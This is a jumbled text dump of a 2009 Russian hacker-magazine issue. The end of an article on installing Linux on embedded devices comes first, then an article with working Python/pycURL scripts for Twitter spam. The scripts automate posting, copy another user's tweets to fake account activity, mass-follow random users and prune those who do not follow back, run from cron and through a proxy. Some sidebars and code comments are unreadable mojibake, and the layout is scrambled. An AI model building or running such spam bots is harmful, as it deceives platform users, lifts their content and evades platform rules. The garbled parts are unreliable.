последовательный порт, стек и шину, распаковывает временный образ<br />

корневого раздела в память. После низкоуровневой настройки железа<br />

загрузчик должен найти, скопировать в память и запустить непосредственно<br />

ядро с нужными параметрами командной строки и окружением. В<br />

«больших» компьютерах типа IBM-PC первую часть загрузки выполняет<br />

BIOS, а вторую берет на себя загрузчик типа GRUB или LILO.<br />

Следом стартует ядро Linux — распаковывает себя, определяет окружа-<br />

XÀÊÅÐ 04 /124/ 09


unixoid<br />

Карта виртуальной памяти в AT91SAM9<br />

ющее железо, инициализирует прерывания, запускает процесс Инит и<br />

подцепляет корневую файловую систему. Последняя может иметь вид<br />

сжатого РАМ-диска и быть распакованной в память еще загрузчиком<br />

(или же сразу монтироваться на флеш-диске, если имеет драйвера для<br />

доступа к нему внутри ядра).<br />

Далее, процессом Инит с готовой корневой ФС, стартуются уже другие<br />

процессы, и выполняются стартовые скрипты. Вскоре у тебя на устройстве<br />

— рабочая система.<br />

Естественно, загрузившись, ядру надо будет выполнять свои прямые<br />

обязанности, делать то, ради чего система и ставилась (например,<br />

собирать какие-нибудь данные об окружающем мире и показывать их<br />

на экране по требованию, поступившему с клавиатуры). Для общения с<br />

периферией нужны драйвера, которым взяться в ядре неоткуда. Значит,<br />

следующая задача — найти или написать их.<br />

ЧТО НУЖНО СО СТОРОНЫ СТАРШЕГО БРАТА<br />

Для начала — компиляторы для сборки софта под устройство. Понятно,<br />

что нужны GNU’тые GCC и toolchain, ибо они входят в официальный<br />

инструментарий компиляции Линукса, и именно под ними он скомпилируется<br />

без проблем. «Обыкновенные» GNU C компиляторы под<br />

х86-ю архитектуру не подойдут, так как архитектура контроллера в твоем<br />

embedded-устройстве, полагаю, любая другая, но только не х86-я. Поэтому<br />

придется качать кросс-компиляторы. Для ARM7/9/11 это, например,<br />

GNUARM (www.gnuarm.com), для AVR — GNU AVR (есть в репозитории<br />

Дебиана, пакет gcc-avr), ну а для совсем маленьких устройств типа<br />

архитектуры С51 — SDCC (хотя туда ядро Linux уже будет проблематично<br />

засунуть).<br />

Для создания образов файловых систем нам подойдут стандартные<br />

утилиты типа mkfs.(что_угодно), gzip и cpio. Здесь проблем возникнуть не<br />

должно. Теперь по поводу железа. Во-первых, не забывай про мощный<br />

отладочный интерфейс JTAG, который есть на борту у каждого уважающего<br />

себя контроллера. С ним заливка и отладка софта становятся<br />

вообще сказкой. JTAG-отладчик для LPT-порта можно собрать самостоятельно<br />

(смотри, к примеру, схему — www.diygadget.com/store/buildingsimple-jtag-cable/info_12.html)<br />

или купить готовый. Софта под интерфейс<br />

JTSG завались, и там уже выбирай под нужную тебе задачу.<br />

Ядро Linux при загрузке очень любит плеваться сообщениями на<br />

отладочный интерфейс (DBGU) контроллера. Естественно, нам первое<br />

время надо будет общаться с Linux’ом и искать ошибки напрямую. Для<br />

этого загрузчиком заранее конфигурируется DBGU-интерфейс, который<br />

XÀÊÅÐ 04 /124/ 09<br />

представляет собой обыкновенный RS-232 порт, к которому присоединяются<br />

с помощью кабеля для COM-порта (надеюсь, COM-разъем у тебя на<br />

отладочной плате распаян).<br />

Взяв какой-нибудь эмулятор терминала, типа cu или ckermit, и подклю-<br />

Âèðòóàëüíàÿ<br />

ïàìÿòü<br />

MMU ñîçäàåò àáñòðàêòíûé ñëîé ìåæäó ðåàëüíîé, «æåëåçíîé»<br />

ïàìÿòüþ è òàê íàçûâàåìîé âèðòóàëüíîé àäðåñàöèåé, ê êîòîðîìó,<br />

â èòîãå, è îáðàùàåòñÿ ïðîöåññîðíîå ÿäðî. Ïðèìåð: çàãðóç÷èê<br />

ìèêðîêîíòðîëëåðà AT91SAM9 ìîæåò æèòü â äâóõ ðàçíûõ ìåñòàõ<br />

— â ìèêðîñõåìàõ Dataflash è NANDFlash. Ïðè âêëþ÷åíèè ïèòàíèÿ<br />

âñòðîåííûé SAM-BA Boot çàïóñêàåòñÿ èç âíóòðåííåé ROM êîíòðîëëåðà.<br />

 ýòîò ìîìåíò âíóòðåííÿÿ read-only ïàìÿòü «íàõîäèòñÿ»<br />

ïî àäðåñó 0x00, ïîýòîìó ÿäðî ÷åñòíî íà÷èíàåò âûïîëíÿòü êîä,<br />

çàïèñàííûé òàì. Çàìåòü, ÿäðî óíèâåðñàëüíî è íè÷åãî íå çíàåò<br />

ïðî îêðóæàþùóþ åãî ïåðèôåðèþ. Îíî òóïî è íàèâíî íà÷èíàåò<br />

âûïîëíÿòü ïðîãðàììó, íàõîäÿùóþñÿ ïî íóëåâîìó àäðåñó. SAM-BA<br />

— ïðèìèòèâíûé çàãðóç÷èê, îí ìîæåò òîëüêî îïðîñèòü ïî î÷åðåäè<br />

Dataflash è NANDFlash è ñêîïèðîâàòü ïåðâûå 4 Êá íàéäåííîãî<br />

êîäà âî âíóòðåííþþ îïåðàòèâíóþ ïàìÿòü SRAM ìèêðîêîíòðîëëåðà.<br />

Ïîñëå êîïèðîâàíèÿ SAM-BA èñïîëíÿåò îñîáóþ ïðîöåññîðíóþ<br />

îïåðàöèþ, è àäðåñ 0x00 óæå óêàçûâàåò íà âíóòðåííþþ<br />

ñòàòè÷åñêóþ ïàìÿòü. Äàëåå 4-êèëîáàéòíûé çàãðóç÷èê ìîæåò<br />

ñêîïèðîâàòü îñíîâíîé êîä èç îñòàâøåãîñÿ îáúåìà Flash-êàðòû â<br />

îïåðàòèâíóþ ïàìÿòü SDRAM, ïîñëå ÷åãî íóëåâîé àäðåñ âèðòóàëüíîé<br />

ïàìÿòè áóäåò óæå óêàçûâàòü â íà÷àëî îïåðàòèâêè, è íà÷íåòñÿ<br />

íîðìàëüíàÿ çàãðóçêà. Òàêîå âîò ïðûãàíèå íóëåâîãî àäðåñà, ïðî<br />

êîòîðîå íè÷åãî íå îáÿçàíî çíàòü ÿäðî ARM.  ïðîöåññå ðàáîòû òîò<br />

æå êîíòðîëëåð MMU ïðîåöèðóåò âñå ìèêðîñõåìû ïàìÿòè, âèñÿùèå<br />

íà øèíå External Bus Interface, â áëîêè 256 Ìá êàæäûé, è ìû óæå ïî÷òè<br />

ìîæåì íå çàäóìûâàòüñÿ î ðåàëüíîì ìåñòîíàõîæäåíèè íàøèõ äàííûõ.<br />

Âñå «ïðîçðà÷íî» è â îäíîì ïðîñòðàíñòâå.  âåðõíþþ îáëàñòü ïàìÿòè<br />

(4 Ãá) îáû÷íî ìàïÿòñÿ àäðåñà ðåãèñòðîâ äëÿ óïðàâëåíèÿ ïåðèôåðèåé.<br />

Ýòî — ñòàíäàðòíàÿ ôèøêà âñåõ ìèêðîêîíòðîëëåðîâ.<br />

085


unixoid<br />

ЗАГРУЗЧИКИ<br />

Это самая сложная и ответственная часть загрузки Linux. Чемпионом по<br />

зоопарку поддерживаемых архитектур и размеру сообщества является<br />

универсальный загрузчик U-Boot (www.denx.de/wiki/U-Boot). На страницах<br />

журнала о нем не раз упоминалось. Для первых опытов советую<br />

именно его, так как тут есть, в том числе, драйвера на огромный список<br />

внешней периферии. Если утрировать, заточка U-Boot под конкретное<br />

устройство часто сводится к чтению маркировок окружающих контроллер<br />

микросхем. Для совсем ленивых этот загрузчик уже допилен<br />

под процессоры Atmel AT91SAM и AVR32, смотри сайты linux4sam.org<br />

и avrfreaks.net. На втором месте — загрузчик RedBoot, с не меньшими<br />

возможностями, но с меньшим комьюнити. Каюсь, я про него доселе<br />

сам ничего не знал, но если те же ЕмДебиановцы советуют, то он точно<br />

чего-то стоит :). Помимо универсальных загрузчиков, существуют еще<br />

заточенные под отдельные контроллеры, пишущиеся производителями<br />

и включающиеся ими в так называемые Software Packages. Просто<br />

поищи на сайте производителя — нечто подобное для облегчения труда<br />

программиста там всегда выкладывают. Например, для Atmel AT91SAM9<br />

уже существует быстрый и компактный загрузчик AT91 Bootstrap. Он<br />

понимает файловые системы JFFS2, FAT, подцепляет флешки и умеет<br />

загружать Linux. Ну а большего нам и не надо.<br />

Область применения Soekris net5501: маршрутизаторы, VPN-концентраторы<br />

и точки доступа<br />

чившись к устройству через COM-порт, ты сможешь низкоуровнево наблюдать<br />

за процессом загрузки и отсылать команды загрузчику и ядру. В<br />

общем, это твой первый терминал, когда Linux на устройстве еще ничего<br />

не знает ни о какой периферии ввода-вывода.<br />

Не все контроллеры умеют без загрузчика шиться по USB, многим для<br />

этого требуются спецпротоколы, скажем, C2 или ActiveSerial. Про твое<br />

устройство, как и про способ его загрузки, я ничего не знаю, поэтому<br />

— марш на сайт производителя изучать способы прошивки своего<br />

отдельно взятого МК. Возможно, тебе придется докупить или допаять<br />

какой-нибудь простенький шнурок.<br />

ЧТО, КУДА И КАК ЗАЛИВАТЬ<br />

Загрузчик, запакованное ядро и ФС с софтом надо где-то хранить. Чаще<br />

всего, загрузчик заливают в набортную флеш-память микроконтроллера,<br />

а все остальное лежит в распаянной рядом NAND-памяти.<br />

Собранный софт (в нашем случае — это ядро Linux и образ ФС) нужно<br />

залить в энергонезависимую память твоей платы. Способ целиком и<br />

полностью зависит от архитектуры и периферии устройства, так что<br />

все действия смотри в документации к своему контроллеру. Например,<br />

контроллер Atmel AT91SAM9260, на котором я отлаживаю свой Linux,<br />

никакой внутренней флеш-памяти не имеет, и прошивку надо заливать<br />

в запаянные рядом микросхемы Data или NAND-Flash памяти. Это было<br />

бы муторно, но к счастью, мой контроллер, не находя нигде подходящей<br />

программы, самостоятельно переключается в так называемый режим<br />

SAM-BA Boot, и, будучи воткнутым по USB в компьютер, определяется<br />

как usbserial-устройство. После чего, через специальный софт, написанный<br />

Atmel’овцами, я могу напрямую заливать нужные образы по адресам<br />

в память устройства сквозь микроконтроллер.<br />

Ну а если ты не поленился найти или запаять JTAG-интерфейс, то с<br />

легкостью сможешь не только заливать в контроллер софт, но и трассировать<br />

его.<br />

086<br />

ДИСТРИБУТИВЫ<br />

Вместо того чтобы вручную конфигурировать ядро, писать драйвера,<br />

долгие часы отлаживать процесс загрузки Linux на МК и по-всякому<br />

извращаться, я советую менее универсальный, но более действенный<br />

способ установки на твое устройство готового «дистрибутива», где большинство<br />

проблем, описанных в этой статье, уже решены.<br />

Полагаю, абсолютное чемпионство по количеству разных архитектур и<br />

пакетов принадлежит проекту Дебиан и его подразделу EmDebian (www.<br />

emdebian.org). Последний отличается от оригинального Debian тем, что<br />

у него меньший размер — там просто повыкидывали ненужные файлы,<br />

типа документации. Хелпов на сайте проекта завались, есть подробные<br />

HowTo, много вспомогательных утилит и прекомпилированные пакеты.<br />

Выполняй по пунктам процесс установки — и будет тебе счастье. У<br />

проекта нет собственного загрузчика, поэтому мантейнеры советуют<br />

использовать сторонние, типа U-boot или RedBoot (www.emdebian.org/<br />

tools/bootloader.html).<br />

Вообще, если к твоему устройству можно подключить винчестер или мегафлешку,<br />

то можешь не заморачиваться и ставить «большой» дистрибутив<br />

Debian. Всяко, там пакетов больше, да и система «взрослая».<br />

А если ты приверженец Генту? Пожалуйста, к твоим услугам Embedded<br />

Gentoo (www.gentoo.org/proj/en/base/embedded)! Хелп хороший, примеров<br />

много, а в загрузчики нам сватают все тот же U-Boot.<br />

Более продвинутые линуксоиды, которым знакомы слова Linux from<br />

Scratch, могут попробовать метадистрибутив OpenEmbedded (www.<br />

openembedded.org). По сути, это набор скриптов, build-утилита BitBake и<br />

набор метаданных, призванные облегчить сборку как ядра Линукс, так и<br />

любого софта под сторонние дистрибутивы. Никаких репозиториев, как<br />

в бинарных дистрибах, у него нет, – зато есть инструменты для легкого<br />

создания пакетов под IPK, RPM, DEB или tar.gz форматы.<br />

Кроме «универсальных» дистрибутивов, которые можно поставить на<br />

все, что угодно, в природе существуют специализированные, заточенные<br />

под определенный тип устройств. Например, проект OpenWrt<br />

(openwrt.org), предназначенный для установки исключительно на точки<br />

доступа. Народ помаленьку портирует туда софт, который ты запросто<br />

сможешь скачать прямо на устройство с помощью программы opkg,<br />

родственника дебиановского dpkg/apt. Прописываешь в местный<br />

аналог sources.list репозиторий под твою архитектуру и наслаждаешься<br />

круглосуточным файл-сервером и торрент-клиентом на стенке.<br />

Под мобильники (они относятся к встраиваемым устройствам!) сейчас<br />

тоже создаются варианты Линукса. Это — MontaVista (www.mvista.<br />

com) и нашумевший недавно OpenMoko c платформой Neo FreeRunner<br />

(openmoko.org). Направление новое, перспективное, поэтому дистрибутивами<br />

в этом секторе занимаются не столько энтузиасты, сколько<br />

вполне себе корпорации. Google с Nokia также поспешили выпустить<br />

свои продукты, и мы получили бегающие под Linux’ом Android’ы и N810.<br />

Не следует забывать и про самые маленькие и «глупые» устройства с примитивными<br />

МК без MMU, например, ARM7. Для них был проработан дистрибутив<br />

ucLinux (uclinux.org/ports) с отвязанными от ядра функциями управления<br />

памятью. Несмотря на отсутствие какой бы то ни было защиты и безопасности<br />

(одна программа может запросто повредить память другой), ucLinux — настоящая<br />

и полноценная система с поддержкой многозадачности.<br />

ЗАКЛЮЧЕНИЕ<br />

В пределах одной статьи невозможно охватить весь процесс установки<br />

и настройки Линукса на встраиваемые устройства, слишком уж велик<br />

зоопарк архитектур и спектр конфигурации. Но если теоретический материал<br />

тебя заинтересует настолько, что ты пойдешь изучать вопрос по<br />

сайтам и форумам, то с практикой, после подготовки, проблем тем более<br />

не возникнет! z<br />

XÀÊÅÐ 04 /124/ 09


Реклама


++++<br />

>> coding<br />

++++<br />

++++<br />

++++<br />

++++<br />

РОМАН «SPIRIT» ХОМЕНКО<br />

/ HTTP://TUTAMC.COM /<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

Атака<br />

на МИСТЕРА ТВИТТЕРА<br />

Скрипты для спама Twitter на Python’e<br />

Недавно мне попался на глаза пост на хабре с располагающим<br />

названием «Коммерческий инструмент для спама в твиттере —<br />

TweetTornado». Я заглянул на официальный сайт этого чуда-юда<br />

(tweettornado.com) и чуть со стула не упал. Оказалось, что он стоит<br />

целых 100 долларов!<br />

++++<br />

++++<br />

++++<br />

++ ++<br />

++++<br />

++++<br />

++++<br />

++++<br />

«За любовь не платят», — процитировал я исконный девиз ex-USSR<br />

хакеров и тут же взялся за написание соответствующей программы. Утаивать<br />

тонкости данного процесса от читателей z я не планирую, поэтому<br />

из статьи ты узнаешь, как злые кодеры создают рабочий инструмент для<br />

спама в твиттере. Он будет представлять собой 4 скрипта:<br />

• для отсылки одиночного сообщения;<br />

• бота для имитации активности аккаунта;<br />

• для добавления друзей;<br />

• для удаления «не друзей».<br />

Ну что же, приступим.<br />

TWITTER<br />

Прежде всего — немного теории для олдскульных зомби, которые до<br />

этого момента ничего не знали о микроблоггинге. Если ты не из их числа<br />

— перескакивай к следующему разделу. Итак, Twitter (twitter.com) — это<br />

микроблогинговый сервис, максимальный размер сообщения в рамках<br />

которого не должен превышать 140 символов. Суть сервиса проста: у<br />

тебя есть лента сообщений, в которой отображаются записи, сделанные<br />

тобою и твоими друзьями (или на языке твиттера — following). Все люди,<br />

следящие за блогом (followers), будут получать твои сообщения.<br />

Твиттер родился в 2006 году, но популярность стал набирать где-то в<br />

начале 2007. Сейчас в нем около 5 миллионов пользователей. С одной<br />

стороны, вроде бы и маловато (по сравнению с социальными сетями), но,<br />

учитывая неплохую положительную динамику в плане роста и тот факт, что<br />

одно отправленное сообщение тут же будет приходить всем зафолловленным<br />

пользователям — «реклама» в твиттере будет иметь очень радужные<br />

088<br />

перспективы. Сразу оговорюсь, мы не будем работать с русскоговорящей<br />

аудиторией твиттера (в связи с тем, что ее представляют, в основном,<br />

наши с тобой братья — компьютерные специалисты), предпочтя ей злых<br />

буржуинов — в Штатах твиттер уже выбрался в массы, к «домохозяйкам».<br />

ПОДГОТОВКА РАБОЧЕГО МЕСТА<br />

Скрипты мы будем писать на Python — в Linux он есть в большинстве<br />

дистрибутивов по умолчанию, а для работы с ним в Windows нужно установить<br />

интерпретатор версии 2.5 и библиотеку pyCurl. Все это хозяйство<br />

ты можешь найти на нашем диске. Для экспериментов со скриптами<br />

рекомендую заранее зарегистрировать новый аккаунт на твиттере<br />

вручную. Этот этап автоматизировать мы не будем в связи с наличием<br />

хорошей капчи, но много аккаунтов и не нужно, для спама хватит одного.<br />

ТВИТТЕР API<br />

Twitter всегда был приветлив к рекламным агентам. Его авторы создали<br />

очень простое API, позволяющее одним POST- или GET-запросом производить<br />

любые действия над твиттером. Все запросы отлично описаны в<br />

документации (apiwiki.twitter.com). Для каждого действия приводится:<br />

• URL запроса;<br />

• формат ответа, который вернет сервер;<br />

• метод запроса (POST или GET);<br />

• параметры и их описание;<br />

• пример запроса.<br />

Некоторые примеры, взятые из документации, ты сможешь увидеть<br />

на врезках. Кстати, когда будешь производить действия, требующие<br />

XÀÊÅÐ 04 /124/ 09


coding<br />

авторизации, помни, что в запросе нужно посылать логин и пароль с<br />

помощью HTTP Basic Authentication.<br />

При выборе формата результата мы всегда будем выбирать xml — мне он<br />

больше нравится, да и обрабатывать его очень просто.<br />

Теперь немного отвлечемся от API твиттера и научимся посылать запросы<br />

с помощью Python.<br />

PYTHON И CURL<br />

В случае возникновения необходимости выполнения HTTP-запросов я<br />

всегда выбираю мощный, универсальный инструмент, который работает<br />

во многих языках программирования — cURL.<br />

Для его использования подключим библиотеку pycURL:<br />

import pycurl<br />

Чтобы принять данные после запроса и сохранить их, библиотека<br />

pycURL требует указать функцию, которая будет принимать данные.<br />

Можно, конечно, и самим написать ее, но лучше воспользуемся модулем<br />

для работы со строками StringIO.<br />

В объекте StringIO есть метод write, идеально подходящий для<br />

этой цели. Подключим модуль и объявим объект такими строчками:<br />

import StringIO<br />

data = StringIO.StringIO()<br />

Теперь можно объявить объект pycURL и настроить параметры, например,<br />

для осуществления запроса главной странички xakep.ru. Полученный<br />

результат выведем на экран:<br />

ПОСТИНГ СООБЩЕНИЙ<br />

Вернемся к горячо любимому микроблоггингу и попробуем применить<br />

наши знания API твиттера путем создания первого скрипта, который<br />

будет отсылать сообщения:<br />

import pycurl, StringIO<br />

data = StringIO.StringIO()<br />

curl = pycurl.Curl()<br />

curl.setopt(pycurl.URL,<br />

'http://twitter.com/statuses/update.xml')<br />

curl.setopt(pycurl.WRITEFUNCTION, data.write)<br />

curl.setopt(pycurl.USERPWD,'spiritua:password')<br />

curl.setopt(pycurl.POSTFIELDS,'status=TEXT')<br />

curl.setopt(pycurl.POST,1)<br />

curl.perform()<br />

curl.close()<br />

print data.getvalue()<br />

В нем, как видно, ничего сложного. Главное — не забудь<br />

«spiritua:password» заменить на свой логин и пароль, а вместо «TEXT»,<br />

соответственно, написать нужное сообщение.<br />

Чтобы сделать использование удобнее и каждый раз при постинге<br />

сообщений не изменять в исходнике текст, заюзаем библиотеку sys для<br />

получения аргументов из командной строки:<br />

import sys<br />

– и изменим наш «TEXT» на «sys.argv[1]».<br />

Вызывать скрипт мы теперь будем так:<br />

curl = pycurl.Curl()<br />

#óñòàíàâëèâàåì ïàðàìåòðû çàïðîñà<br />

curl.setopt(pycurl.URL, 'xakep.ru')<br />

curl.setopt(pycurl.WRITEFUNCTION, data.write)<br />

#èñïîëíèì çàïðîñ<br />

curl.perform()<br />

#îñâîáîäèì ïàìÿòü<br />

curl.close()<br />

#ïîëó÷èì ðåçóëüòàò è âûâåäåì íà ýêðàí<br />

print data.getvalue()<br />

Далее, манипулируя методом setopt, мы по желанию сможем изменять<br />

наши запросы. Например, если добавить нижеуказанный код, то запрос<br />

будет осуществлен через socks с IP 192.168.1.1, размещенным на 2222<br />

порту.<br />

curl.setopt(pycurl.PROXYTYPE,<br />

pycurl.PROXYTYPE_SOCKS5)<br />

curl.setopt(pycurl.HTTPPROXYTUNNEL,1)<br />

curl.setopt(pycurl.PROXY, '192.168.1.1:2222')<br />

XÀÊÅÐ 04 /124/ 09<br />

sender.py "I love XAKEP"<br />

Обрати внимание, кавычки обязательны, так как потом скрипт берет<br />

только первый аргумент. Без них будет отослано лишь одно слово.<br />

ИМИТАЦИЯ АКТИВНОСТИ<br />

Чтобы пользователи добавили тебя в друзья и долго не удаляли, нужно<br />

имитировать активность, вести себя как обычный твиттерянин, лишь<br />

иногда публикуя рекламные посты. А не слишком ли тяжело будет придумывать<br />

сообщения? Может, проще подсмотреть их у соседа? Сделаем<br />

хитро — выберем проявляющего сетевую активность человека и<br />

утащим его посты к себе. После написания подобного скриптика для<br />

автопостинга, его можно поставить на cron (программа для запуска<br />

заданий по расписанию) с ежечасным вызовом. Для реализации этой<br />

задачи научимся читать посты юзеров. В твиттер API указано, что нужно<br />

использовать GET-запрос следующего вида — http://twitter.com/<br />

statuses/user_timeline/spiritua.xml. Здесь вместо ‘spiritua’ мы вставим<br />

имя выбранного донора сообщений. По расширению xml становится<br />

понятно, в каком формате придет результат :). Для дальнейшего парсинга<br />

xml можно использовать библиотеки, но в нашем случае от этого<br />

089


++++<br />

>> coding<br />

++++<br />

++++<br />

++++<br />

Ñêðèïò<br />

èìèòàöèè<br />

àêòèâíîñòè<br />

++++<br />

import re, sys, pycurl, StringIO<br />

#èíèöèàëèçàöèÿ îáüåêòîâ äëÿ ïîñûëêè çàïðîñîâ<br />

data = StringIO.StringIO()<br />

curl = pycurl.Curl()<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++ ++<br />

++++<br />

++++<br />

++++<br />

warning<br />

Реклама полностью<br />

законна! Но — незаконно<br />

копирование<br />

в свой твит чужого<br />

контента. Этого мы<br />

тебе делать не советуем.<br />

links<br />

• Обо всех возможностях<br />

cURL читай<br />

на официальном<br />

сайте http://pycurl.<br />

sourceforge.net.<br />

• http://apiwiki.twitter.<br />

com — документация<br />

API твиттера.<br />

• www.python.org —<br />

официальный сайт<br />

Python.<br />

• http://python.su/<br />

forum — полезный<br />

питоновский форум.<br />

dvd<br />

На диске, кроме<br />

исходников и необходимых<br />

установочных<br />

файлов, ты найдешь<br />

также видео<br />

автора об установке<br />

и настройке среды<br />

программирования.<br />

усложнения помогут избавиться регулярные выражения.<br />

Если мы посмотрим на структуру xml-ответа, то увидим,<br />

что сообщения всегда находятся между тегами .<br />

Исходя из этого, заюзаем следующую регулярку:<br />

(.*).<br />

Для использования регулярных выражений в Python<br />

подключим модуль с названием re и используем его метод<br />

findall, который возвратит массив. Получим следующее:<br />

import re<br />

rez = re.findall("(.*)",data)<br />

Алгоритм скрипта активности будет такой:<br />

• берем у донора самое последнее сообщение;<br />

• проверяем, есть ли это сообщение среди наших, и, если<br />

нет, — публикуем.<br />

Думаю, теперь ты и сам сможешь его написать… или подглядеть<br />

на врезке и нашем диске.<br />

Осталось разобрать еще два скрипта, которые связаны с<br />

ростом рекламной сети, — то есть, расширением списка<br />

друзей.<br />

ТВИТТЕРЯНИН, ГДЕ ТЫ?<br />

Для поиска друзей я знаю три способа, которые нужно<br />

использовать в зависимости от желаемого результата:<br />

Äîáàâëåíèå<br />

â äðóçüÿ<br />

Äîáàâèòü â äðóçüÿ ïîëüçîâàòåëÿ, çíàÿ ID èëè ëîãèí<br />

URL: http://twitter.com/friendships/create/<br />

id.format<br />

Ôîðìàòû ðåçóëüòàòîâ (format): xml, json<br />

Ìåòîä çàïðîñà: POST<br />

Ïàðàìåòðû: id — îáÿçàòåëüíîé ïàðàìåòð, ñîäåðæèò<br />

ID èëè ëîãèí ïîëüçîâàòåëÿ, êîòîðîãî äîáàâëÿåì â<br />

äðóçüÿ<br />

Ïðèìåð çàïðîñà: http://twitter.com/friendships/<br />

create/bob.xml<br />

#âìåñòî donor íóæíî íàïèñàòü èìÿ ïîëüçîâàòåëÿ,<br />

êîòîðîãî íóæíî êîïèðîâàòü<br />

curl.setopt(pycurl.URL,<br />

'twitter.com/statuses/user_timeline/<br />

donor.xml')<br />

curl.setopt(pycurl.WRITEFUNCTION,<br />

data.write)<br />

#çàïóñê çàïðîñà íà ïîëó÷åíèÿ ñîîáùåíèé<br />

curl.perform()<br />

#ïðèìåíåíèå ðåãóëÿðêè äëÿ âûäåëåíèÿ èç òåêñòà<br />

ëèøü ñîîáùåíèé è ñîõðàíåíèÿ èõ â ìàcñèâ<br />

donor<br />

donor = re.findall("(.*)",<br />

data.getvalue())<br />

#îñâîáîæäàåì áóôåð äëÿ ñëåäóþùåãî çàïðîñà<br />

data.truncate(0)<br />

#âìåñòî user ïèøåì ñâîå èìÿ òâèòòåðà<br />

curl.setopt(pycurl.URL,<br />

'twitter.com/statuses/user_timeline/user.<br />

xml')<br />

curl.perform()<br />

#ïîèñê âñåõ ñîîáùåíèé è ñîõðàíåíèå èõ â ìàcñèâ<br />

my<br />

my = re.findall("(.*)",<br />

data.getvalue())<br />

#åñëè ïîñëåäíåãî ñîîáùåíèÿ äîíîðà íåò<br />

if donor[0] not in my:<br />

#íàñòðàèâàåì çàïðîñ äëÿ îòñûëêè ñîîáùåíèÿ<br />

curl.setopt(pycurl.URL,<br />

'twitter.com/statuses/update.xml')<br />

#íå çàáûâàåì ïîìåíÿòü èìÿ è ïàðîëü<br />

curl.setopt(pycurl.USERPWD, 'name:passwd')<br />

curl.setopt(pycurl.POSTFIELDS,<br />

'status=' + donor[0])<br />

curl.setopt(pycurl.POST,1)<br />

curl.perform()<br />

print 'one update posted'<br />

else:<br />

print ‘no new updates’<br />

#íå çàáûâàåì îñâîáîäèòü ïàìÿòü<br />

curl.close()<br />

1) Поиск по имени.<br />

2) Поиск по списку друзей.<br />

3) Случайный выбор.<br />

Поиск по имени почти не интересен, и я не знаю, где он был<br />

бы в нашей деятельности полезен. Поиск по списку друзей<br />

— наиболее продвинут и совершенно незаменим в случае,<br />

если нужно искать людей определенного круга. Например,<br />

++++<br />

090<br />

XÀÊÅÐ 04 /124/ 09


coding<br />

Питон всегда с улыбкой<br />

мы хотим продавать маечки с нарисованной Бритни Спирс. Ясное дело,<br />

нужно найти ее твиттер и достать список тех, кто его читает. Разумеется,<br />

на первых порах такой основательный таргетинг мы рассматривать<br />

не будем, поэтому в рамках статьи рассмотрим третий вариант — случайный<br />

выбор. Для этого лезем в API и видим, что, послав Get-запрос<br />

на URL http://twitter.com/statuses/public_timeline.xml, мы получим 20<br />

последних сообщений вместе с данными об авторах. Кстати, третий вариант<br />

удобен еще и тем, что, используя его, мы получим лишь активных<br />

пользователей.<br />

Имя в ответе от твиттера будет находиться между тегами ,<br />

поэтому для последующего парсинга результата подойдет вот эта регулярка:<br />

(.*).<br />

Получив список из 20 пользователей, нужно попросить их добавить нас<br />

в друзья. Благо, существует такая наука психология, и она говорит, что,<br />

если добавить пользователя, то он с большой вероятностью добавит нас<br />

и будет читать наши сообщения :).<br />

Опять обратимся к API, в котором указано, что для добавления в друзья необходимо<br />

послать Post-запрос на URL http://twitter.com/friendships/create/<br />

spirit.xml, где вместо spirit придется вставить имя нужного аккаунта.<br />

Переводя все это на Python, получим основные строчки для добавления<br />

в друзья (остальное можно подсмотреть на диске):<br />

curl.setopt(pycurl.URL,<br />

'http://twitter.com/friendships/create/' + name +<br />

'.xml')<br />

Îáíîâëåíèå<br />

ñòàòóñà (îòñûëêà<br />

ñîîáùåíèÿ)<br />

ïîëüçîâàòåëÿ<br />

URL: http://twitter.com/statuses/update.format<br />

Ôîðìàòû ðåçóëüòàòîâ (format): xml, json<br />

Ìåòîä çàïðîñà: POST<br />

Ïàðàìåòðû: status — îáÿçàòåëüíûé ïàðàìåòð, êîòîðûé ñîäåðæèò<br />

òåêñò íîâîãî ñòàòóñà. Èñïîëüçóéòå URL-êîäèðîâàíèå ïðè íåîáõîäèìîñòè.<br />

Äëèíà òåêñòà äîëæíà áûòü íå áîëåå 140 ñèìâîëîâ.<br />

XÀÊÅÐ 04 /124/ 09<br />

Наши стрелы в твиттере<br />

curl.setopt(pycurl.USERPWD,'spiritua:passwd')<br />

curl.setopt(pycurl.POST,1)<br />

Теперь берем и соединяем «поиск 20 случайных юзеров» и «добавление в друзья».<br />

В результате получаем супер скрипт, который, опять же, ставим на Cron с<br />

определенным интервалом, и наблюдаем, как бодро и молодцевато (так говорят<br />

у нас в милиции) растет рекламная сеть (áëèí, íå çðÿ ìíå ïîêàçàëàñü<br />

ïîäîçðèòåëüíîé åãî ôîòîãðàôèÿ â ïîãîíàõ, — Ïðèì. Ëîçîâñêîãî).<br />

«РЕДИСКА» — ПЛОХОЙ ЧЕЛОВЕК<br />

И было бы все хорошо, если бы не существовали люди, нежелающие<br />

ответным жестом добавлять нас с тобой в виртуальные товарищи. Эти<br />

люди портят статистику, поэтому я советую периодически от них избавляться.<br />

Для этого нужно получить список людей, которых ты добавил<br />

друзья, и список тех, кто добавил тебя. Сравниваем списки и кикаем<br />

лишних… Для получения списков нужно послать запросы на URL:<br />

• http://twitter.com/statuses/friends.xml<br />

• http://twitter.com/statuses/followers.xml<br />

В итоге, получим следующий код:<br />

#íàñòðîèì cURL íà ïîëó÷åíèå ñïèñêà äðóçåé<br />

curl.setopt(pycurl.URL,<br />

'http://twitter.com/statuses/friends.xml')<br />

curl.setopt(pycurl.USERPWD,’spiritua:passwd')<br />

curl.setopt(pycurl.WRITEFUNCTION, data.write)<br />

091


++++<br />

>> coding<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

++++<br />

Удобное программирование в Eclipse<br />

++++<br />

++++<br />

friends = re.findall("(.*)",<br />

friends)<br />

followers = re.findall("(.*)",<br />

followers)<br />

++++<br />

++++<br />

Питон всегда с улыбкой<br />

А теперь можно приступать к удалению, посылая запросы на URL http://<br />

twitter.com/friendships/destroy/spirit.xml. В результате должен получиться<br />

примерно следующий код (полный исходник рекомендуется курить с<br />

нашего диска):<br />

#ïîäêëþ÷èì áèáëèîòåêó time äëÿ êîìàíäû sleep<br />

import time<br />

++++<br />

curl.setopt(pycurl.POST, 1)<br />

#öèêë ïî âñåìó ñïèñêó äðóçåé<br />

for friend in friends:<br />

#ïðîâåðêà — ÷èòàåò ëè äðóã íàñ<br />

++++<br />

if friend not in followers:<br />
